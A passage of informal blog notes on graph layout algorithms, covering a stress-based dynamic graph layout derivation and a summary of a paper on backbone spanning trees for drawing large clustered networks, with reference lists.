E=\sum_{i,j\in F}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})^2+\alpha\sum_{i,j\in V}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})^2
$$
Where F is the set of nodes we want to give constraint.

In my opinion, we can use stress majorization to solve this problem.

Solution

Instead of using stress majorization, a more simplified approach is introduced:

$$
E=\sum_{i,j\in F}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})^2+\alpha\sum_{i,j\in N}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})^2
$$

Equation transformation

To minimize E, we derivate E with respect to X.
$$
\begin{aligned}
\frac{\partial E}{\partial X} &=\sum_{i\in N}\frac{\partial E}{\partial x_i}\
&=2\sum_{i,j\in F}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})\frac{x_i-x_j}{\Vert x_i-x_j\Vert }\&+2\alpha\sum_{i,j\in N}w_{i,j}(\Vert w_i-w_j\Vert -d_{ij})\frac{x_i-x_j}{\Vert x_i-x_j\Vert }\
&=0
\end{aligned}
$$
$$
\sum_{i,j\in F}w_{i,j}(x_i-x_j)+\alpha\sum_{i,j\in N}w_{i,j}(x_i-x_j)\
=\sum_{i,j\in F}w_{i,j} d_{ij}\frac{x_i-x_j}{\Vert x_i-x_j\Vert }+\alpha\sum_{i,j\in N}w_{i,j} d_{ij}\frac{x_i-x_j}{\Vert x_i-x_j\Vert }
$$
By expand x in F to V, we can obtain:
$$
(L_w^F+\alpha L_w^N)X=(L_{w,d}^F+\alpha L_{w,d}^N)X
$$
as
$$
L_wX=\sum_{i,j}w_{i,j}(x_i-x_j)
$$
The left side is linear and right side is not.

With
$$
\begin{aligned}
L_w^E&=\begin{cases}
-\sum_{i,l\in E}w_{i,l}&\text{$i=j$}\
w_{i,j}&\text{$i\neq j\&{i,j}\in E$}\
0&\text{Otherwise}
\end{cases}\
L_{w,d}^E&=\begin{cases}
-\sum_{i,l\in E}\frac{w_{i,l}d_{il}}{\Vert x_i-x_j\Vert }&\text{$i=j$}\
\frac{w_{i,j}d{ij}}{\Vert x_i-x_j\Vert }&\text{$i\neq j\&{i,j}\in E$}\
0&\text{Otherwise}
\end{cases}
\end{aligned}
$$

Solve equation

So our purpose is to solve the equation:
$$
(L_w^F+\alpha L_w^N)X=(L_{w,d}^F+\alpha L_{w,d}^N)X
$$
This is not linear so an approach similar to what used in stress majorization^[5] is applied and can be presented as below.

$$
(L_w^F+\alpha L_w^N)X(t+1)=(L_{w,d}^F+\alpha L_{w,d}^N)X(t)
$$

%algorithm using iteration
%X0 is randomly chosen
repeat
     calculate X(t+1) in left side using X(t) in right side
     X(t)=X(t+1)
until
    $\frac{E(X(t+1))-E(X(t))}{E(X(t))}<\epsilon$

Online Dynamic Layout

The online dynamic layout uses all the algorithms mentioned before.

• ${G_0,…,G_n}$ a sequence of graphs
• ${L_0,…,L_n}$ a sequence of corresponding layouts
• $G_0$ is generated by using force directed graph
• $E_n$ edge set of $G_n$
• $V_n$ node set of $G_n$

Initial Layout

As we have $G_n,G_{n-1},L_{n-1}$, we draw new force directed layout $L^*$ using $L_{n-1}$.(method may be explained in other bolgs)

Layout Refinement

After obtaining $L^*$, we define a new stress function:

$$
E=\sum_{i,j\in E_n}\frac{(\Vert x_i-x_j\Vert -d_{i,j}^*)^2}{d_{i,j}^2}+\alpha\sum_{i,j\in V_{n}\cap V_{n-1}}\frac{(\Vert x_i-x_j\Vert -d_{i,j})^2}{d^2_{i,j}}
$$
Then we can use LCDE mentioned before.

Reference

[1]Che L, Liang J, Yuan X, et al. Laplacian-based dynamic graph visualization[C]// Visualization Symposium. IEEE, 2015:69-73.

[2]Cao L, Zhou S. Intelligent Graph Layout Using Many Users’ Input.[J]. IEEE Transactions on Visualization & Computer Graphics, 2012, 18(12):2699-2708.

[3]Gansner E R, Koren Y, North S. Graph Drawing by Stress Majorization[C]// International Symposium on Graph Drawing. Springer, Berlin, Heidelberg, 2004:239-250.

[4]Misue K, Eades P, Lai W, et al. Layout Adjustment and the Mental Map[J]. J Visual Languages & Computing, 1995, 6(2):183-210.

Introduction

This is the analysis of paper “Visualizing Large and Clustered Networks”^[1], which gives us an approach to draw large-scale clustered graph by drawing firstly the heuristic minimum spanning tree(backbone).

Background

• $G(V,E):$ undirected graph with V the set of vertices and $E \subseteq V \times V$ the set of edges.
• $n:=|V|, m:=|E|$
• $N(v):$ neighborhood of vertex v
• $deg(v):$ degree of v
• $P(s,t):$ path from s to t
• $d(s,t):$ distance between two vertices (minimum path length)
• $d_{E’}(s,t):$ distance between two vertices using only edges in $E’$
• $T:$ a spanning tree of G

Backbone extraction

The algorithm of finding a minimum spanning tree is an NP problem, so this paper introduces a way to find the spanning tree that is densive (which means all nodes which is connected approaches to each other).

Definitions

$$w_t((u,v))=d_T(u,v)$$
The quality of a spanning tree is thus defined:
$$Q(T)=\sum_{e\in E(G)\backslash T}w_t(e)$$
If Q is the smallest => small tree distance value.

Lower bound of Q (currently considered not very important)

Initial backbone generation

Instead of ramdomly choose vertices and them append edges, two different algorithms are introduced.

• both algorithms are started with a random selected initial vertex.
• The vertex with higher degree influences the structure more, which should be added at first.
• $S:$ selected spanning tree
• $S_V:$ set of vertices already selected into the spanning tree.
• $R:=G\backslash S$

Minimized Inner Distance Tree

After having S and the next vertex which should be appended, calculate the hook h from $N(S_V)$ which has the minimum inner distance D(h).
$$D(h)=\sum_{x=N(v)\cap S_V,vh\in S}d_t(h,x)$$
approach: holding an array $D(T)$ of size $n^2$ that keeps the tree distances $d_T(s,t)$ for all s,t in $S_V$.

Minimized Entire Distance Tree

This approach considers the distance to all the nodes, as to the nodes which are not in set $S_V$, we can’t find the tree path, so the alternative path $P’(s,t)$ is introduced.

The alternative path is considered to be seperated into two parts, the first one is composed by vertices only in S and the other one only in set $V\backslash S$
$$P’(s,t)=P(v_S)+P(v_{V\backslash S})$$
So we will choose the hook h which minimizes the following sum:
$$\sum_{w\in N(v)}P’(h,w)$$

Optimization of the backbone

Once add an edge e to T, a cycle will be induced, if we want to maintain a spanning tree, an edge $f$ should be reduced from T.

Since the paths $P_T(s,t)$ will not be changed if $P_T(s,t)\cap f=\emptyset$, only paths concerning f will be considered.

$P_T(e)$ is the original tree path of e, for any non-tree edges (s,t) whose tree paths contain f, it is defined as i, and the original tree path is $P_T(i)$.

$C_T(i,e)$ denotes the shared edges of those two paths:
$$C_T(i,e):=P_T(i)\cap P_T(e)$$

Let $C_T(e)$ denots the circle formed by adding e, so
$$\overline{C_T(i,e)}:=C_T(e)\backslash C_T(i,e)$$
The new tree path of i is :
$$P_{T’}(i)=P_T(i)\cup \overline{C_T(i,e)}\backslash C_T(i,e)$$
The generation of new tree path can be shown in Figure.

So the changed distance can be calculated:
$$
\begin{aligned}
\Delta d_T(i,e)&=d_{T’}(i)-d_T(i) \
&=|\overline{C_T(i,e)}|-|C_T(i,e)|\
&=|C_T(e)|-2|C_T(i,e)|
\end{aligned}
$$
Our final purpose of opminizing S is to have a minimum value of the change of quality $Q(T)$
$$\Delta Q(T,e,f)=\sum_i\Delta d_T(i,e,f)$$

Layout

Circulization of a set of nodes

Paper “Interacting with Huge Hierarchies: Beyond Cone Trees”^[2] provides a tree layout that forms the nodes under the same root into a circle.

To reduce edge crossing, Baur et al.^[3] introduces an approach to reduce crossing in circular layouts.

Circulization of the whole tree

Paper “Circular Tree Drawing by Simulating Network Synchronisation Dynamics and Scaling”^[4] introduces an approach to gather the whole tree into a circle.

The mostly used approach is to add a gravity on the center of the layout.

In this paper, the author applys another algorithm, here only the steps are described.

Realization

Only Inner mode is realized.

github:  Backbone

Reference

[1] Lehmann K A, Kottler S. Visualizing Large and Clustered Networks[C]// International Conference on Graph Drawing. Springer-Verlag, 2006:240-251.

[2] Carriere J, Kazman R. Research report: Interacting with huge hierarchies: beyond cone trees[C]// Information Visualization, 1995. Proceedings. IEEE, 1995:74-81.

[3] Baur M, Brandes U. Crossing Reduction in Circular Layouts[C]// International Conference on Graph-Theoretic Concepts in Computer Science. Springer-Verlag, 2004:332-343.

[4] Toosi F G, Nikolov N S. Circular Tree Drawing by Simulating Network Synchronisation Dynamics and Scaling[J]. 2014, 8871.